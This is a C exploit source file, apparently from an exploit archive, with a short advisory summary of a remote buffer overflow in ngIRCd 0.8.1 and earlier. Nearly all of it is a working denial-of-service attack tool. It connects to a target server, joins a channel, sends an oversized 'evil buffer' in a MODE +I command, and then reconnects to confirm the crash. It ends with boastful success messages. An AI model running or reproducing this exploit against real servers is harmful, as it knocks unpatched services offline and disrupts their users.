880bbe402e
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104 lines
No EOL
3.3 KiB
C
104 lines
No EOL
3.3 KiB
C
// source: https://www.securityfocus.com/bid/12397/info
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ngIRCd is reported prone to a remote buffer overflow vulnerability. This issue presents itself because the application fails to perform proper boundary checks before copying user-supplied data into process buffers.
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A successful attack may allow the attacker to crash the server or gain unauthorized access to a vulnerable computer.
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ngIRCd 0.8.1 and prior versions are affected by this vulnerability.
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/*
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NGircd <= 0.8.1 Remote Denial Of Service Coded by: Expanders
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Usage: ./ngircd_dos <Host> <Ip> <NickToUse> <ChannellToJoin>
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NOTE: The channel must be EMPTY to let the exploit use +I mode
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Example:
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*/
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#include <stdio.h>
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#include <string.h>
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#include <netdb.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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void help(char *program_name);
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int main(int argc, char *argv[]) {
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struct sockaddr_in trg;
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struct hostent *he;
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long addr;
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int sockfd, buff,rc;
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char evilbuf[1024];
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char buffer[1024];
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char *nick="AntiServer";
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char *channel="Die_NGircd";
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char *request;
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if(argv[3] != NULL) nick=argv[3];
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if(argv[4] != NULL) channel=argv[4];
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if(argc < 3 ) {
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help(argv[0]);
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exit(0);
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}
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printf("\n\n-=[ NGircd <= 0.8.1 Remote DoS ::: Coded by Expanders ]=-\n");
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he = gethostbyname(argv[1]);
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sockfd = socket(AF_INET, SOCK_STREAM, 0);
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request = (char *) malloc(12344);
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trg.sin_family = AF_INET;
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trg.sin_port = htons(atoi(argv[2]));
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trg.sin_addr = *((struct in_addr *) he->h_addr);
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memset(&(trg.sin_zero), '\0', 8);
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printf("\n\nConnecting to target \t...");
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rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in));
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if(rc==0)
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{
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printf("[Done]\nBuilding evil buffer\t...");
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memset(evilbuf,65,300);
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memset(evilbuf+300,64,1);
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memset(evilbuf+301,65,128);
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printf("[Done]\nSending NICK \t...");
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sprintf(request,"NICK %s\n",nick);
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send(sockfd,request,strlen(request),0);
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printf("[Done]\nSending USER \t...");
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sprintf(request,"USER %s x0n3-h4ck.org eth0.x0n3-h4ck.org
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:%s\n",nick,nick);
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send(sockfd,request,strlen(request),0);
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buff=recv(sockfd, buffer, 256, 0);
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printf("[Done]\nJoining Channel \t...");
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sprintf(request,"JOIN #%s\n",channel);
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send(sockfd,request,strlen(request),0);
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printf("[Done]\nSending evil request \t...");
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sprintf(request,"MODE #%s +I %s\n",channel,evilbuf);
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send(sockfd,request,strlen(request),0);
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sprintf(request,"QUIT www.x0n3-h4ck.org\n",evilbuf);
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send(sockfd,request,strlen(request),0);
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sleep(2);
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printf("[Done]\nTrying to reconnect\t...");
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close(sockfd);
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sockfd = socket(AF_INET, SOCK_STREAM, 0);
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sleep(1);
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rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in));
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if(rc==0)
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printf("[Fail] -> Damn! Attack Failed!\n\n");
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else
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printf("[Done] -> Attack Success! Lets party!\n\n");
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}
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else
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printf("[Fail] -> Unable to connect\n\n");
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close(sockfd);
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return 0;
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}
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void help(char *program_name) {
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printf("\n\t-=[ NGircd <= 0.8.1 Remote Denial Of Service ]=-\n");
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printf("\t-=[ ]=-\n");
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printf("\t-=[ Coded by
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ders -/www.x0n3-h4ck.org\\- ]=-\n\n");
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printf("Usage: %s <Host> <Ip> <NickToUse>
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<ChannellToJoin>\n",program_name);
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} |